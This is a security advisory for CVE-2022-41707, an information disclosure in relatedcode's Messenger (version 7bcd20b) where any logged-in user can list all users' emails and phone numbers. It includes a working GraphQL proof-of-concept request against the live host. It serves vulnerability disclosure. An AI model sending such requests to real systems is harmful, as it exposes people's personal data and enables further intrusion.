Headline

CVE-2022-41707: relatedcode/Messenger 7bcd20b - Information Disclosure | Fluid Attacks

Relatedcode’s Messenger version 7bcd20b allows an authenticated external attacker to access sensitive data of any user of the application. This is possible because the application exposes user data to the public.

2 years ago

CVE

Open in Source

#vulnerability #linux #js #git #auth

Summary

Name

relatedcode/Messenger 7bcd20b - Sensitive Information Disclosure

Code name

Coldplay

Product

relatedcode/Messenger

Affected versions

Version 7bcd20b

State

Public

Release date

2022-10-14

Vulnerability

Kind

Business information leak - Personal Information

Rule

226. Business information leak - Personal Information

Remote

Yes

CVSSv3 Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVSSv3 Base Score

6.5

Exploit available

Yes

CVE ID(s)

CVE-2022-41707

Description

Relatedcode/Messenger version 7bcd20b allows an authenticated external attacker to access sensitive data of any user of the application. This is possible because the application exposes user data to the public.

Vulnerability

The application exposes the session data of the users of the application to the public. Among the exposed data are:

ID
Email
PhoneNumber
Etc

The ID exposed in this vulnerability will help us to exploit even a broken access control present in this application.

Exploitation

To exploit this vulnerability, simply create an account on the server and then send the following request:

POST /graphql HTTP/2
Host: relatedchat.io:4000
User-Agent: Something
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://relatedchat.io/
Content-Type: application/json
Authorization: Bearer [YOUR TOKEN]
Origin: https://relatedchat.io
Content-Length: 356

{"operationName":"ListUsers","variables":{},"query":"query ListUsers($updatedAt: Date, $workspaceId: String) {\n  listUsers(updatedAt: $updatedAt, workspaceId: $workspaceId) {\n    objectId\n    displayName\n    email\n  fullName\n    phoneNumber\n    photoURL\n    theme\n    thumbnailURL\n    title\n    workspaces\n    createdAt\n    updatedAt\n  }\n}"}

Impact

An authenticated remote attacker can access sensitive user data. This allows an attacker to obtain enough information to escalate to more serious attacks. In our case, we managed to exploit a broken access control thanks to the data leaked in this vulnerability. Thanks to this I was able to access all the internal chat logs of all registered users.

Our security police

We have reserved the CVE-2022-41707 to refer to this issue from now on.